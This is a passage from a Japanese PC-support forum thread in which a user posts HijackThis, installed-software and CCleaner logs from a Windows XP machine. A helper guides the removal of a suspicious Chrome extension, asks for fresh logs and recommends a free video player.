有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.77 Adobe Systems Incorporated default Firefox 28.0 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 28.0 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


Chrome

有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_0


それからGOM Playerはアンインストール推奨とのことですが
おすすめの動画再生フリーソフトを教えて頂けると助かります。


よろしくお願いします。
  • wysksun
  • 2014/03/30 (Sun) 10:23:48
返信フォームへ 
状態報告
状態報告を忘れていました。

現在ＰＣに異常はありません、動作も軽快になってきたように感じています。

以上です。
  • wysksun
  • 2014/03/30 (Sun) 10:27:41
返信フォームへ 
では続きの作業を
作業と報告、ご苦労様です。

>通常モードで再度ACでClean作業を再試行しても同じように
>Scanは出来るのですが、Cleanが出来ませんでした

はい、わかりました。
ではこれはいったん置いときます。

ではまたCC起動して、今度は「Chrome」タブ内の下記を無効と削除してください。
>有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_0

これができたら一度PCを再起動後、またCCでChromeタブのログを取り直して、状態報告とともにレスください。
今のところは沈静化しているようですが、時間をおいて復活するものもかなり多いので油断しないでください。

>GOM Playerはアンインストール推奨とのことですが
>おすすめの動画再生フリーソフトを教えて頂けると助かります

動作の軽さと対応ファイルで見ると、以下はどうでしょうか。
http://freesoft.tvbok.com/freesoft/player/mpc-hc.html
  • 悪代官
  • 2014/03/30 (Sun) 12:03:16
返信フォームへ 
CCのChromeタブのログになります。
ご協力ありがとうございます。

再起動後取り直したCCのChromeタブのログになります。

有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0


現在の状況はＰＣに特に異常はありません。
軽快ですが以前の早さを取り戻してはいないように感じます。

MPC-HCの紹介ありがとうございます、GOM Playerをアンインストールしてしばらく使ってみます。


よろしくお願いします。
  • wysksun
  • 2014/03/30 (Sun) 14:00:51
返信フォームへ 
ではまた各ログを見せてください
作業と報告、ご苦労様です。

>現在の状況はＰＣに特に異常はありません。
>軽快ですが以前の早さを取り戻してはいないように感じます

はい、ログを見ると処置を指示したUatubeAdRemovalも消えてますね。
では全体の状態を再確認します。
またHJTとインストール情報ログと、CCでの各タブのログを取り直して、それをレスで見せてください
  • 悪代官
  • 2014/03/30 (Sun) 15:16:05
返信フォームへ 
取り直したHJTとインストール情報ログとCCの各ログ
ご協力ありがとうございます。

HJTのログになります。

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 17:28:58, on 2014/03/30
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
C:\WINDOWS\system32\spoolsv.exe
D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
D:\ProgramFiles\HitmanPro\hmpsched.exe
D:\ProgramFiles\Google\Update\GoogleUpdate.exe
C:\WINDOWS\Explorer.EXE
D:\ProgramFiles\JustSystems\ATOK22\ATOK22MN.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe
D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
C:\WINDOWS\system32\igfxpers.exe
D:\ProgramFiles\iTunes\iTunesHelper.exe
C:\WINDOWS\system32\ctfmon.exe
D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
D:\ProgramFiles\Bonjour\mDNSResponder.exe
D:\ProgramFiles\Java\jre7\bin\jqs.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamgui.exe
D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
d:\ProgramFiles\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\WINDOWS\system32\svchost.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe
D:\ProgramFiles\iPod\bin\iPodService.exe
C:\WINDOWS\system32\wscntfy.exe
C:\Program Files\Common Files\Sony Shared\FeliCaLibrary\ServiceManager\FeliCaPort_ServiceMgr.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\HijackThis.exe

O2 - BHO: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O3 - Toolbar: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [IMJPMIG12.0] C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [AppleSyncNotifier] C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [CTSysVol] D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
O4 - HKLM\..\Run: [FeliCa Launcher] "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
O4 - HKLM\..\Run: [JustOnlineUpdate] "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
O4 - HKLM\..\Run: [PocketCloud Location] D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
O4 - HKLM\..\Run: [QuickTime Task] "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [iTunesHelper] "D:\ProgramFiles\iTunes\iTunesHelper.exe"
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [SUPERAntiSpyware] D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'Default user')
O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINDOWS\system32\GPhotos.scr/200
O8 - Extra context menu item: E&xport to Microsoft Excel - res://D:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/su2/ocx/15111/CTPID.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{AAC4A0CB-C003-44A6-9968-242CB0667474}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: SAS Core Service (!SASCORE) - SUPERAntiSpyware.com - D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - D:\ProgramFiles\Bonjour\mDNSResponder.exe
O23 - Service: BrlAPI - Unknown owner - D:\cygwin\bin\cygrunsrv.exe
O23 - Service: Bwsvc - BUFFALO INC. - D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
O23 - Service: Google アップデート サービス (gupdate) (gupdate) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Updater Service (gusvc) - Google - D:\ProgramFiles\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: HitmanPro Scheduler (HitmanProScheduler) - SurfRight B.V. - D:\ProgramFiles\HitmanPro\hmpsched.exe
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - D:\ProgramFiles\iPod\bin\iPodService.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Oracle Corporation - D:\ProgramFiles\Java\jre7\bin\jqs.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - D:\ProgramFiles\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - D:\ProgramFiles\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NFC Proxy Service (NFCProxyService) - Sony Corporation - D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
O23 - Service: RealNetworks Downloader Resolver Service - Unknown owner - D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
O23 - Service: Wyse PocketCloud (WysePocketCloud) - Unknown owner - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
O23 - Service: Wyse Remote Access (WyseRemoteAccess) - Wyse Technology. - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe

--
End of file - 8700 bytes


インストール情報ログになります。

+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2014/03/04 94.98 MB 3.0.1
Apple Mobile Device Support Apple Inc. 2014/03/04 20.73 MB 7.1.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/03/30 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
Bonjour Apple Inc. 2014/03/04 1.03 MB 3.0.0.10
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/03/30
BUFFALO クライアントマネージャ３ 2014/03/30
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/03/01 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/01/16 275.00 MB 12.0.6612.1000
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
Google Chrome Google Inc. 2010/05/29 32.0.1700.41
HandBrake 0.9.8 2014/02/17 0.9.8
HitmanPro 3.7 SurfRight B.V. 2014/03/29 3.7.9.216
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
ImgBurn LIGHTNING UK! 2014/03/02 2.5.8.0
Intel(R) Graphics Media Accelerator Driver 2014/03/30
IObit Uninstaller IObit 2014/03/01 3.1.7.2405
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
Malwarebytes Anti-Malware バージョン 1.75.0.1300 Malwarebytes Corporation 2014/03/16 1.75.0.1300
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
Mozilla Firefox 28.0 (x86 ja) Mozilla 2014/03/29 28.0
Mozilla Maintenance Service Mozilla 2014/03/29 28.0
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
SUPERAntiSpyware SUPERAntiSpyware.com 2014/03/16 5.7.1018
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0


CCの各ログになります。

Windows

有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKCU:Run SUPERAntiSpyware SUPERAntiSpyware D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


Internet Explorer

有効 Extension Messenger Microsoft Corporation D:\ProgramFiles\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


Fire Fox

無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 28.0 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 28.0 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin Google Update 1.3.22.3 Google Inc. default Firefox 28.0 D:\ProgramFiles\Google\Update\1.3.22.3\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 28.0 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
有効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 28.0 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 28.0 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.77 Adobe Systems Incorporated default Firefox 28.0 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 28.0 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


Chorome

有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
